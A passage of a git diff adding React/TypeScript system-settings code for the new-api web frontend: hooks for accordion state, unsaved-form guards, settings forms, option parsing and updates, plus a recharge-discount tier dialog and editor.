+  const debounced = ((value: string[]) => {
+    if (timeoutId) clearTimeout(timeoutId)
+    timeoutId = setTimeout(() => fn(value), delay)
+  }) as ((value: string[]) => void) & { cancel: () => void }
+
+  debounced.cancel = () => {
+    if (timeoutId) clearTimeout(timeoutId)
+  }
+
+  return debounced
+}
+
+/**
+ * Hook for managing accordion state persistence in localStorage
+ * Supports multiple accordion items being open simultaneously
+ * Uses debounced writes to reduce I/O operations
+ */
+export function useAccordionState(pageId: string) {
+  const [openItems, setOpenItems] = useState<string[]>([])
+  const storageKey = `system-settings-${pageId}-accordion`
+
+  // Initialize state from localStorage (immediate)
+  useEffect(() => {
+    try {
+      const stored = localStorage.getItem(storageKey)
+      if (stored) {
+        // eslint-disable-next-line react-hooks/set-state-in-effect
+        setOpenItems(JSON.parse(stored))
+      }
+    } catch (_error) {
+      // eslint-disable-next-line no-console
+      console.error(
+        `Failed to load accordion state from localStorage: ${storageKey}`,
+        _error
+      )
+    }
+  }, [storageKey])
+
+  // Debounced save function (500ms delay)
+  const debouncedSave = useMemo(
+    () =>
+      debounce((value: string[]) => {
+        try {
+          localStorage.setItem(storageKey, JSON.stringify(value))
+        } catch (_error) {
+          // eslint-disable-next-line no-console
+          console.error(
+            `Failed to save accordion state to localStorage: ${storageKey}`,
+            _error
+          )
+        }
+      }, 500),
+    [storageKey]
+  )
+
+  // Cleanup on unmount
+  useEffect(() => {
+    return () => {
+      debouncedSave.cancel()
+    }
+  }, [debouncedSave])
+
+  // Handle accordion value changes (supports multiple open items)
+  const handleAccordionChange = useCallback(
+    (value: string[]) => {
+      setOpenItems(value)
+      debouncedSave(value)
+    },
+    [debouncedSave]
+  )
+
+  return {
+    openItems,
+    handleAccordionChange,
+  }
+}
diff --git a/new-api/web/default/src/features/system-settings/hooks/use-form-dirty-guard.ts b/new-api/web/default/src/features/system-settings/hooks/use-form-dirty-guard.ts
new file mode 100644
index 0000000..b82b67b
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/hooks/use-form-dirty-guard.ts
@@ -0,0 +1,56 @@
+import { useEffect } from 'react'
+import { useBlocker } from '@tanstack/react-router'
+
+/**
+ * @deprecated Use FormNavigationGuard component instead for better UX
+ *
+ * This hook uses browser's native window.confirm() which has poor UX.
+ * The new FormNavigationGuard component uses project's native ConfirmDialog.
+ *
+ * @see {@link ../components/form-navigation-guard.tsx}
+ *
+ * Prevents navigation away from a form with unsaved changes
+ *
+ * Shows a confirmation dialog when user tries to:
+ * - Navigate to a different route
+ * - Close the browser tab/window
+ * - Refresh the page
+ *
+ * @param isDirty - Whether the form has unsaved changes
+ * @param message - Custom warning message (optional)
+ *
+ * @example
+ * ```tsx
+ * // ❌ Old way (deprecated)
+ * const form = useForm()
+ * useFormDirtyGuard(form.formState.isDirty)
+ *
+ * // ✅ New way (recommended)
+ * <FormNavigationGuard when={form.formState.isDirty} />
+ * ```
+ */
+export function useFormDirtyGuard(
+  isDirty: boolean,
+  message: string = 'You have unsaved changes. Are you sure you want to leave?'
+) {
+  // Block navigation within the app
+  useBlocker({
+    condition: isDirty,
+    blockerFn: () => window.confirm(message),
+  })
+
+  // Block browser navigation (close tab, refresh, etc.)
+  useEffect(() => {
+    if (!isDirty) return
+
+    const handleBeforeUnload = (e: BeforeUnloadEvent) => {
+      e.preventDefault()
+      // Modern browsers ignore custom messages and show their own
+      e.returnValue = message
+      return message
+    }
+
+    window.addEventListener('beforeunload', handleBeforeUnload)
+    return () => window.removeEventListener('beforeunload', handleBeforeUnload)
+  }, [isDirty, message])
+}
diff --git a/new-api/web/default/src/features/system-settings/hooks/use-reset-form.ts b/new-api/web/default/src/features/system-settings/hooks/use-reset-form.ts
new file mode 100644
index 0000000..09033db
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/hooks/use-reset-form.ts
@@ -0,0 +1,26 @@
+import { useEffect, useRef } from 'react'
+import type { DefaultValues, FieldValues, UseFormReturn } from 'react-hook-form'
+
+/**
+ * Reset a react-hook-form instance whenever the provided default values change.
+ * Guards against naively resetting on every render by tracking the last
+ * serialized snapshot of the defaults.
+ */
+export function useResetForm<TFieldValues extends FieldValues>(
+  form: UseFormReturn<TFieldValues>,
+  values: DefaultValues<TFieldValues> | undefined
+) {
+  const lastSerializedDefaults = useRef<string | null>(null)
+
+  useEffect(() => {
+    if (!values) return
+
+    const serializedDefaults = JSON.stringify(values)
+    if (serializedDefaults === lastSerializedDefaults.current) {
+      return
+    }
+
+    form.reset(values)
+    lastSerializedDefaults.current = serializedDefaults
+  }, [values, form])
+}
diff --git a/new-api/web/default/src/features/system-settings/hooks/use-safe-json-state.ts b/new-api/web/default/src/features/system-settings/hooks/use-safe-json-state.ts
new file mode 100644
index 0000000..7bfa5ce
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/hooks/use-safe-json-state.ts
@@ -0,0 +1,40 @@
+import { useMemo } from 'react'
+import {
+  safeJsonParse,
+  safeJsonParseWithValidation,
+  type SafeJsonParseOptions,
+  type SafeJsonParseWithValidationOptions,
+} from '../utils/json-parser'
+
+export function useSafeJsonParse<T>(
+  value: string | undefined | null,
+  options: Required<Pick<SafeJsonParseOptions<T>, 'fallback' | 'context'>> &
+    Omit<SafeJsonParseOptions<T>, 'fallback' | 'context'>
+): T {
+  return useMemo(
+    () =>
+      safeJsonParse(value, {
+        fallback: options.fallback,
+        context: options.context,
+        silent: options.silent,
+      }),
+    [value, options.fallback, options.context, options.silent]
+  )
+}
+
+export function useSafeJsonParseWithValidation<T>(
+  value: string | undefined | null,
+  options: SafeJsonParseWithValidationOptions<T>
+): T {
+  return useMemo(
+    () => safeJsonParseWithValidation(value, options),
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+    [
+      value,
+      options.fallback,
+      options.validator,
+      options.validatorMessage,
+      options.context,
+    ]
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/hooks/use-settings-form.ts b/new-api/web/default/src/features/system-settings/hooks/use-settings-form.ts
new file mode 100644
index 0000000..0583656
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/hooks/use-settings-form.ts
@@ -0,0 +1,268 @@
+import { useEffect, useMemo, useRef } from 'react'
+import {
+  useForm,
+  type UseFormProps,
+  type FieldValues,
+  type FieldNamesMarkedBoolean,
+} from 'react-hook-form'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+
+type SettingsFormOptions<T extends FieldValues> = UseFormProps<T> & {
+  onSubmit: (data: T, changedFields: Record<string, unknown>) => Promise<void>
+  compareValues?: (a: unknown, b: unknown) => boolean
+}
+
+function isPlainObject(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null && !Array.isArray(value)
+}
+
+function flattenValues<T extends FieldValues>(
+  values: T,
+  parentKey?: string,
+  result: Record<string, unknown> = {}
+): Record<string, unknown> {
+  if (!isPlainObject(values)) {
+    if (typeof parentKey === 'string') {
+      result[parentKey] = values
+    }
+    return result
+  }
+
+  Object.entries(values).forEach(([key, value]) => {
+    const nextKey = parentKey ? `${parentKey}.${key}` : key
+
+    if (isPlainObject(value)) {
+      flattenValues(value as FieldValues, nextKey, result)
+      return
+    }
+
+    if (Array.isArray(value)) {
+      result[nextKey] = value
+      return
+    }
+
+    result[nextKey] = value
+  })
+
+  return result
+}
+
+function collectDirtyValues<TFieldValues extends FieldValues>(
+  dirtyFields: Partial<FieldNamesMarkedBoolean<TFieldValues>> | boolean,
+  values: unknown,
+  parentKey?: string,
+  result: Record<string, unknown> = {}
+) {
+  if (dirtyFields === true) {
+    if (typeof parentKey === 'string') {
+      result[parentKey] = values
+    }
+    return result
+  }
+
+  if (!dirtyFields || typeof dirtyFields !== 'object') {
+    return result
+  }
+
+  Object.entries(dirtyFields).forEach(([key, value]) => {
+    const nextKey = parentKey ? `${parentKey}.${key}` : key
+    const source =
+      values && (isPlainObject(values) || Array.isArray(values))
+        ? (values as Record<string, unknown>)[key]
+        : undefined
+
+    if (value === true) {
+      result[nextKey] = source
+      return
+    }
+
+    if (value && typeof value === 'object') {
+      collectDirtyValues(
+        value as Partial<FieldNamesMarkedBoolean<FieldValues>>,
+        source as FieldValues,
+        nextKey,
+        result
+      )
+    }
+  })
+
+  return result
+}
+
+function setDeepValue(
+  target: Record<string, unknown>,
+  path: string,
+  value: unknown
+) {
+  const segments = path.split('.')
+  let current: Record<string, unknown> = target
+
+  segments.forEach((segment, index) => {
+    const isLast = index === segments.length - 1
+    if (isLast) {
+      current[segment] = value
+      return
+    }
+
+    const next = current[segment]
+    if (isPlainObject(next)) {
+      current = next as Record<string, unknown>
+      return
+    }
+
+    current[segment] = {}
+    current = current[segment] as Record<string, unknown>
+  })
+}
+
+function expandDotPaths<T extends FieldValues>(
+  values: T | undefined
+): T | undefined {
+  if (!values || !isPlainObject(values)) {
+    return values
+  }
+
+  const result: Record<string, unknown> = {}
+
+  Object.entries(values).forEach(([key, value]) => {
+    if (key.includes('.')) {
+      setDeepValue(result, key, value)
+      return
+    }
+
+    if (isPlainObject(value)) {
+      result[key] = expandDotPaths(value as FieldValues)
+      return
+    }
+
+    result[key] = value
+  })
+
+  return result as T
+}
+
+/**
+ * Unified hook for system settings forms
+ *
+ * Key features:
+ * - Initializes form with defaultValues only on mount
+ * - No automatic resets that could overwrite user input
+ * - Tracks changed fields to minimize API calls
+ * - Provides manual reset functionality
+ *
+ * @example
+ * ```tsx
+ * const { form, handleSubmit, handleReset } = useSettingsForm({
+ *   resolver: zodResolver(schema),
+ *   defaultValues,
+ *   onSubmit: async (data, changed) => {
+ *     for (const [key, value] of Object.entries(changed)) {
+ *       await updateOption.mutateAsync({ key, value })
+ *     }
+ *   }
+ * })
+ * ```
+ */
+export function useSettingsForm<T extends FieldValues>({
+  onSubmit,
+  compareValues,
+  defaultValues,
+  ...formOptions
+}: SettingsFormOptions<T>) {
+  const expandedDefaults = useMemo(
+    () => expandDotPaths(defaultValues),
+    [defaultValues]
+  )
+
+  const form = useForm<T>({ ...formOptions, defaultValues: expandedDefaults })
+
+  const defaultValuesRef = useRef<T>((expandedDefaults ?? ({} as T)) as T)
+  const baselineRef = useRef<Record<string, unknown>>(
+    flattenValues((expandedDefaults ?? ({} as T)) as T)
+  )
+
+  /* eslint-disable react-hooks/refs */
+  const serializedDefaultsRef = useRef<string>(
+    JSON.stringify(baselineRef.current)
+  )
+  /* eslint-enable react-hooks/refs */
+
+  useEffect(() => {
+    if (!expandedDefaults) return
+
+    const flattened = flattenValues(expandedDefaults as T)
+    const serialized = JSON.stringify(flattened)
+
+    if (serialized === serializedDefaultsRef.current) {
+      return
+    }
+
+    baselineRef.current = flattened
+    defaultValuesRef.current = expandedDefaults as T
+    serializedDefaultsRef.current = serialized
+    form.reset(expandedDefaults as T)
+  }, [expandedDefaults, form])
+
+  const defaultCompare = (a: unknown, b: unknown): boolean => {
+    if (a === b) return true
+
+    if (Array.isArray(a) && Array.isArray(b)) {
+      return JSON.stringify(a) === JSON.stringify(b)
+    }
+
+    if (typeof a !== typeof b) return false
+
+    // Handle arrays
+    // Handle objects (but not null)
+    if (a && b && typeof a === 'object' && typeof b === 'object') {
+      return JSON.stringify(a) === JSON.stringify(b)
+    }
+
+    return false
+  }
+
+  const compare = compareValues || defaultCompare
+
+  const handleSubmit = async (data: T) => {
+    const dirtyValues = collectDirtyValues(form.formState.dirtyFields, data)
+    const changedEntries = Object.entries(dirtyValues).filter(
+      ([key, value]) => !compare(value, baselineRef.current[key])
+    )
+
+    if (changedEntries.length === 0) {
+      toast.info(i18next.t('No changes to save'))
+      return
+    }
+
+    const changedFields = changedEntries.reduce<Record<string, unknown>>(
+      (acc, [key, value]) => {
+        acc[key] = value
+        return acc
+      },
+      {}
+    )
+
+    await onSubmit(data, changedFields)
+
+    const flattenedValues = flattenValues(data)
+    baselineRef.current = flattenedValues
+    defaultValuesRef.current = data
+    serializedDefaultsRef.current = JSON.stringify(flattenedValues)
+    form.reset(data)
+  }
+
+  const handleReset = () => {
+    form.reset(defaultValuesRef.current)
+    toast.success(i18next.t('Form reset to saved values'))
+  }
+
+  return {
+    form,
+    // eslint-disable-next-line react-hooks/refs
+    handleSubmit: form.handleSubmit(handleSubmit),
+    handleReset,
+    isDirty: form.formState.isDirty,
+    isSubmitting: form.formState.isSubmitting,
+  }
+}
diff --git a/new-api/web/default/src/features/system-settings/hooks/use-system-options.ts b/new-api/web/default/src/features/system-settings/hooks/use-system-options.ts
new file mode 100644
index 0000000..720c3f6
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/hooks/use-system-options.ts
@@ -0,0 +1,113 @@
+import { useQuery } from '@tanstack/react-query'
+import { getSystemOptions } from '../api'
+
+export function useSystemOptions() {
+  return useQuery({
+    queryKey: ['system-options'],
+    queryFn: getSystemOptions,
+    staleTime: 5 * 60 * 1000,
+  })
+}
+
+type ParseResult<T> =
+  | { success: true; value: T }
+  | { success: false; error: string; fallback: T }
+
+function parseOptionValueSafe<T>(
+  value: string,
+  defaultValue: T
+): ParseResult<T> {
+  if (typeof defaultValue === 'boolean') {
+    return {
+      success: true,
+      value: (value === 'true' || value === '1') as T,
+    }
+  }
+
+  if (typeof defaultValue === 'number') {
+    const trimmed = value.trim()
+    if (trimmed === '') {
+      return {
+        success: false,
+        error: 'Empty string for number field',
+        fallback: defaultValue,
+      }
+    }
+    const parsed = Number(trimmed)
+    if (Number.isNaN(parsed)) {
+      return {
+        success: false,
+        error: `Invalid number: "${value}"`,
+        fallback: defaultValue,
+      }
+    }
+    return { success: true, value: parsed as T }
+  }
+
+  if (Array.isArray(defaultValue)) {
+    try {
+      const parsed = JSON.parse(value)
+      if (!Array.isArray(parsed)) {
+        return {
+          success: false,
+          error: 'Expected array but got non-array JSON',
+          fallback: defaultValue,
+        }
+      }
+
+      if (defaultValue.length > 0) {
+        const expectedType = typeof defaultValue[0]
+        const invalidElement = parsed.find((el) => typeof el !== expectedType)
+        if (invalidElement !== undefined) {
+          return {
+            success: false,
+            error: `Array element type mismatch: expected ${expectedType}, got ${typeof invalidElement}`,
+            fallback: defaultValue,
+          }
+        }
+      }
+
+      return { success: true, value: parsed as T }
+    } catch (e) {
+      return {
+        success: false,
+        error: `JSON parse failed: ${e instanceof Error ? e.message : String(e)}`,
+        fallback: defaultValue,
+      }
+    }
+  }
+
+  return { success: true, value: value as T }
+}
+
+export function getOptionValue<
+  T extends Record<string, string | number | boolean | unknown[]>,
+>(options: Array<{ key: string; value: string }> | undefined, defaults: T): T {
+  if (!options) return defaults
+
+  const result = { ...defaults }
+  const errors: Array<{ key: string; error: string }> = []
+
+  options.forEach((option) => {
+    if (option.key in defaults) {
+      const parseResult = parseOptionValueSafe(
+        option.value,
+        defaults[option.key as keyof T]
+      )
+
+      if (parseResult.success) {
+        result[option.key as keyof T] = parseResult.value as T[keyof T]
+      } else {
+        result[option.key as keyof T] = parseResult.fallback as T[keyof T]
+        errors.push({ key: option.key, error: parseResult.error })
+      }
+    }
+  })
+
+  if (errors.length > 0 && import.meta.env.DEV) {
+    // eslint-disable-next-line no-console
+    console.warn('[System Options] Parsing errors detected:', errors)
+  }
+
+  return result
+}
diff --git a/new-api/web/default/src/features/system-settings/hooks/use-update-option.ts b/new-api/web/default/src/features/system-settings/hooks/use-update-option.ts
new file mode 100644
index 0000000..c9df401
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/hooks/use-update-option.ts
@@ -0,0 +1,47 @@
+import { useMutation, useQueryClient } from '@tanstack/react-query'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import { updateSystemOption } from '../api'
+import type { UpdateOptionRequest } from '../types'
+
+// Configuration keys that require status refresh
+const STATUS_RELATED_KEYS = [
+  'theme.frontend',
+  'HeaderNavModules',
+  'SidebarModulesAdmin',
+  'Notice',
+  'LogConsumeEnabled',
+  'QuotaPerUnit',
+  'USDExchangeRate',
+  'DisplayInCurrencyEnabled',
+  'DisplayTokenStatEnabled',
+  'general_setting.quota_display_type',
+  'general_setting.custom_currency_symbol',
+  'general_setting.custom_currency_exchange_rate',
+]
+
+export function useUpdateOption() {
+  const queryClient = useQueryClient()
+
+  return useMutation({
+    mutationFn: (request: UpdateOptionRequest) => updateSystemOption(request),
+    onSuccess: (data, variables) => {
+      if (data.success) {
+        // Always refresh system-options
+        queryClient.invalidateQueries({ queryKey: ['system-options'] })
+
+        // If updating frontend-display-related config, also refresh status
+        if (STATUS_RELATED_KEYS.includes(variables.key)) {
+          queryClient.invalidateQueries({ queryKey: ['status'] })
+        }
+
+        toast.success(i18next.t('Setting updated successfully'))
+      } else {
+        toast.error(data.message || i18next.t('Failed to update setting'))
+      }
+    },
+    onError: (error: Error) => {
+      toast.error(error.message || i18next.t('Failed to update setting'))
+    },
+  })
+}
diff --git a/new-api/web/default/src/features/system-settings/index.tsx b/new-api/web/default/src/features/system-settings/index.tsx
new file mode 100644
index 0000000..3f2f67b
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/index.tsx
@@ -0,0 +1,17 @@
+import { Outlet } from '@tanstack/react-router'
+import { Main } from '@/components/layout'
+import { AppHeader } from '@/components/layout/components/app-header'
+
+export function SystemSettings() {
+  return (
+    <>
+      <AppHeader />
+
+      <Main>
+        <div className='min-h-0 flex-1 px-4 pt-6 pb-4'>
+          <Outlet />
+        </div>
+      </Main>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/amount-discount-dialog.tsx b/new-api/web/default/src/features/system-settings/integrations/amount-discount-dialog.tsx
new file mode 100644
index 0000000..344cae3
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/amount-discount-dialog.tsx
@@ -0,0 +1,198 @@
+import { useEffect, useMemo } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+
+const createAmountDiscountDialogSchema = (t: (key: string) => string) =>
+  z.object({
+    amount: z
+      .number()
+      .positive(t('Amount must be greater than 0'))
+      .int(t('Amount must be a whole number')),
+    discountRate: z
+      .number()
+      .positive(t('Discount rate must be greater than 0'))
+      .max(1, t('Discount rate must be ≤ 1')),
+  })
+
+type AmountDiscountDialogFormValues = z.infer<
+  ReturnType<typeof createAmountDiscountDialogSchema>
+>
+
+export type AmountDiscountData = {
+  amount: number
+  discountRate: number
+}
+
+type AmountDiscountDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onSave: (data: AmountDiscountData) => void
+  editData?: AmountDiscountData | null
+}
+
+export function AmountDiscountDialog({
+  open,
+  onOpenChange,
+  onSave,
+  editData,
+}: AmountDiscountDialogProps) {
+  const { t } = useTranslation()
+  const isEditMode = !!editData
+  const amountDiscountDialogSchema = createAmountDiscountDialogSchema(t)
+
+  const form = useForm<AmountDiscountDialogFormValues>({
+    resolver: zodResolver(amountDiscountDialogSchema),
+    defaultValues: {
+      amount: 0,
+      discountRate: 1,
+    },
+  })
+
+  const discountRate = form.watch('discountRate')
+
+  const discountPercentage = useMemo(() => {
+    if (!discountRate || discountRate >= 1) return 0
+    return Math.round((1 - discountRate) * 100)
+  }, [discountRate])
+
+  useEffect(() => {
+    if (editData) {
+      form.reset(editData)
+    } else {
+      form.reset({
+        amount: 0,
+        discountRate: 1,
+      })
+    }
+  }, [editData, form, open])
+
+  const handleSubmit = (values: AmountDiscountDialogFormValues) => {
+    onSave({
+      amount: values.amount,
+      discountRate: values.discountRate,
+    })
+    form.reset()
+    onOpenChange(false)
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='sm:max-w-[500px]'>
+        <DialogHeader>
+          <DialogTitle>
+            {isEditMode ? t('Edit discount tier') : t('Add discount tier')}
+          </DialogTitle>
+          <DialogDescription>
+            {t('Set a discount rate for a specific recharge amount threshold.')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <Form {...form}>
+          <form
+            onSubmit={form.handleSubmit(handleSubmit)}
+            className='space-y-4'
+          >
+            <FormField
+              control={form.control}
+              name='amount'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Recharge Amount (USD)')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      type='number'
+                      step='1'
+                      min='1'
+                      placeholder={t('e.g., 100')}
+                      {...field}
+                      onChange={(e) =>
+                        field.onChange(parseInt(e.target.value) || 0)
+                      }
+                      disabled={isEditMode}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {isEditMode
+                      ? t('Amount cannot be changed when editing.')
+                      : t(
+                          'Minimum recharge amount to qualify for this discount.'
+                        )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='discountRate'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Discount Rate')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      type='number'
+                      step='0.01'
+                      min='0.01'
+                      max='1'
+                      placeholder={t('e.g., 0.95')}
+                      {...field}
+                      onChange={(e) =>
+                        field.onChange(parseFloat(e.target.value) || 0)
+                      }
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Final price multiplier (0.95 = 5% discount')}
+                    {discountPercentage > 0 && (
+                      <span className='ml-1 font-medium text-green-600 dark:text-green-400'>
+                        = {discountPercentage}
+                        {t('% off')}
+                      </span>
+                    )}
+                    )
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <DialogFooter>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={() => onOpenChange(false)}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button type='submit'>
+                {isEditMode ? t('Update') : t('Add')}
+              </Button>
+            </DialogFooter>
+          </form>
+        </Form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/amount-discount-visual-editor.tsx b/new-api/web/default/src/features/system-settings/integrations/amount-discount-visual-editor.tsx
new file mode 100644
index 0000000..7c0b478
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/amount-discount-visual-editor.tsx
@@ -0,0 +1,264 @@
+import { useState, useMemo } from 'react'
+import { Pencil, Plus, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { StatusBadge } from '@/components/status-badge'
+import { safeJsonParseWithValidation } from '../utils/json-parser'
+import { isObjectRecord } from '../utils/json-validators'
+import {
+  AmountDiscountDialog,
+  type AmountDiscountData,
+} from './amount-discount-dialog'
+
+type AmountDiscountVisualEditorProps = {
+  value: string
+  onChange: (value: string) => void
+}
+
+export function AmountDiscountVisualEditor({
+  value,
+  onChange,
+}: AmountDiscountVisualEditorProps) {
+  const { t } = useTranslation()
+  const [dialogOpen, setDialogOpen] = useState(false)
+  const [editData, setEditData] = useState<AmountDiscountData | null>(null)
+
+  const discounts = useMemo(() => {
+    const parsed = safeJsonParseWithValidation<Record<string, unknown>>(value, {
+      fallback: {},
+      validator: isObjectRecord,
+      validatorMessage: 'Amount discount must be a JSON object',
+      context: 'amount discounts',
+    })
+
+    return Object.entries(parsed)
+      .map(([amount, rate]) => ({
+        amount: parseInt(amount, 10),
+        discountRate:
+          typeof rate === 'number' ? rate : parseFloat(String(rate)),
+      }))
+      .filter((item) => !isNaN(item.amount) && !isNaN(item.discountRate))
+      .sort((a, b) => a.amount - b.amount)
+  }, [value])
+
+  const handleSave = (data: AmountDiscountData) => {
+    const discountObject = safeJsonParseWithValidation<Record<string, unknown>>(
+      value,
+      {
+        fallback: {},
+        validator: isObjectRecord,
+        silent: true,
+      }
+    )
+
+    if (editData && editData.amount !== data.amount) {
+      delete discountObject[editData.amount.toString()]
+    }
+
+    discountObject[data.amount.toString()] = data.discountRate
+
+    onChange(JSON.stringify(discountObject, null, 2))
+  }
+
+  const handleDelete = (amount: number) => {
+    const discountObject = safeJsonParseWithValidation<Record<string, unknown>>(
+      value,
+      {
+        fallback: {},
+        validator: isObjectRecord,
+        silent: true,
+      }
+    )
+
+    delete discountObject[amount.toString()]
+
+    onChange(JSON.stringify(discountObject, null, 2))
+  }
+
+  const handleEdit = (discount: AmountDiscountData) => {
+    setEditData(discount)
+    setDialogOpen(true)
+  }
+
+  const handleAdd = () => {
+    setEditData(null)
+    setDialogOpen(true)
+  }
+
+  const formatPercentage = (rate: number) => {
+    if (rate >= 1) return '0%'
+    const discount = Math.round((1 - rate) * 100)
+    return `${discount}%`
+  }
+
+  return (
+    <div className='space-y-4'>
+      <div className='flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between'>
+        <p className='text-muted-foreground text-sm'>
+          {t('Configure discount rates based on recharge amounts')}
+        </p>
+        <Button
+          type='button'
+          onClick={(e) => {
+            e.preventDefault()
+            e.stopPropagation()
+            handleAdd()
+          }}
+          size='sm'
+          className='w-full sm:w-auto'
+        >
+          <Plus className='h-4 w-4 sm:mr-2' />
+          <span className='sm:inline'>{t('Add discount tier')}</span>
+        </Button>
+      </div>
+
+      {discounts.length === 0 ? (
+        <div className='text-muted-foreground rounded-lg border border-dashed p-6 text-center text-sm'>
+          {t(
+            'No discount tiers configured. Click "Add discount tier" to get started.'
+          )}
+        </div>
+      ) : (
+        <div className='rounded-md border'>
+          {/* Desktop table view */}
+          <div className='hidden sm:block'>
+            <Table>
+              <TableHeader>
+                <TableRow>
+                  <TableHead>{t('Recharge Amount')}</TableHead>
+                  <TableHead>{t('Discount Rate')}</TableHead>
+                  <TableHead>{t('Discount')}</TableHead>
+                  <TableHead className='text-right'>{t('Actions')}</TableHead>
+                </TableRow>
+              </TableHeader>
+              <TableBody>
+                {discounts.map((discount) => (
+                  <TableRow key={discount.amount}>
+                    <TableCell>
+                      <span className='font-mono text-sm'>
+                        ${discount.amount}
+                      </span>
+                    </TableCell>
+                    <TableCell>
+                      <code className='bg-muted rounded px-1.5 py-0.5 text-xs'>
+                        {discount.discountRate.toFixed(2)}
+                      </code>
+                    </TableCell>
+                    <TableCell>
+                      <StatusBadge
+                        variant={discount.discountRate < 1 ? 'info' : 'neutral'}
+                        className='font-mono'
+                        copyable={false}
+                      >
+                        {formatPercentage(discount.discountRate)} {t('off')}
+                      </StatusBadge>
+                    </TableCell>
+                    <TableCell className='text-right'>
+                      <div className='flex justify-end gap-2'>
+                        <Button
+                          type='button'
+                          variant='ghost'
+                          size='sm'
+                          onClick={(e) => {
+                            e.preventDefault()
+                            e.stopPropagation()
+                            handleEdit(discount)
+                          }}
+                        >
+                          <Pencil className='h-4 w-4' />
+                        </Button>
+                        <Button
+                          type='button'
+                          variant='ghost'
+                          size='sm'
+                          onClick={(e) => {
+                            e.preventDefault()
+                            e.stopPropagation()
+                            handleDelete(discount.amount)
+                          }}
+                        >
+                          <Trash2 className='h-4 w-4' />
+                        </Button>
+                      </div>
+                    </TableCell>
+                  </TableRow>
+                ))}
+              </TableBody>
+            </Table>
+          </div>
+
+          {/* Mobile card view */}
+          <div className='divide-y sm:hidden'>
+            {discounts.map((discount) => (
+              <div key={discount.amount} className='p-4'>
+                <div className='mb-3 flex items-start justify-between'>
+                  <div className='flex-1'>
+                    <div className='mb-2 font-mono text-base font-medium'>
+                      ${discount.amount}
+                    </div>
+                    <StatusBadge
+                      variant={discount.discountRate < 1 ? 'info' : 'neutral'}
+                      className='font-mono'
+                      copyable={false}
+                    >
+                      {formatPercentage(discount.discountRate)} {t('off')}
+                    </StatusBadge>
+                  </div>
+                  <div className='flex gap-1'>
+                    <Button
+                      type='button'
+                      variant='ghost'
+                      size='sm'
+                      onClick={(e) => {
+                        e.preventDefault()
+                        e.stopPropagation()
+                        handleEdit(discount)
+                      }}
+                    >
+                      <Pencil className='h-4 w-4' />
+                    </Button>
+                    <Button
+                      type='button'
+                      variant='ghost'
+                      size='sm'
+                      onClick={(e) => {
+                        e.preventDefault()
+                        e.stopPropagation()
+                        handleDelete(discount.amount)
+                      }}
+                    >
+                      <Trash2 className='h-4 w-4' />
+                    </Button>
+                  </div>
+                </div>
+                <div className='text-sm'>
+                  <span className='text-muted-foreground'>
+                    {t('Discount Rate:')}{' '}
+                  </span>
+                  <code className='bg-muted rounded px-1.5 py-0.5 text-xs'>
+                    {discount.discountRate.toFixed(2)}
+                  </code>
+                </div>
+              </div>
+            ))}
+          </div>
+        </div>
+      )}
+
+      <AmountDiscountDialog
+        open={dialogOpen}
+        onOpenChange={setDialogOpen}
+        onSave={handleSave}
+        editData={editData}
+      />
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/amount-options-visual-editor.tsx b/new-api/web/default/src/features/system-settings/integrations/amount-options-visual-editor.tsx
new file mode 100644
index 0000000..58969f3
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/amount-options-visual-editor.tsx
@@ -0,0 +1,148 @@
+import { useState, useMemo } from 'react'
+import { Plus, X } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { StatusBadge } from '@/components/status-badge'
+import { safeJsonParseWithValidation } from '../utils/json-parser'
+import { isArray } from '../utils/json-validators'
+
+type AmountOptionsVisualEditorProps = {
+  value: string
+  onChange: (value: string) => void
+}
+
+export function AmountOptionsVisualEditor({
+  value,
+  onChange,
+}: AmountOptionsVisualEditorProps) {
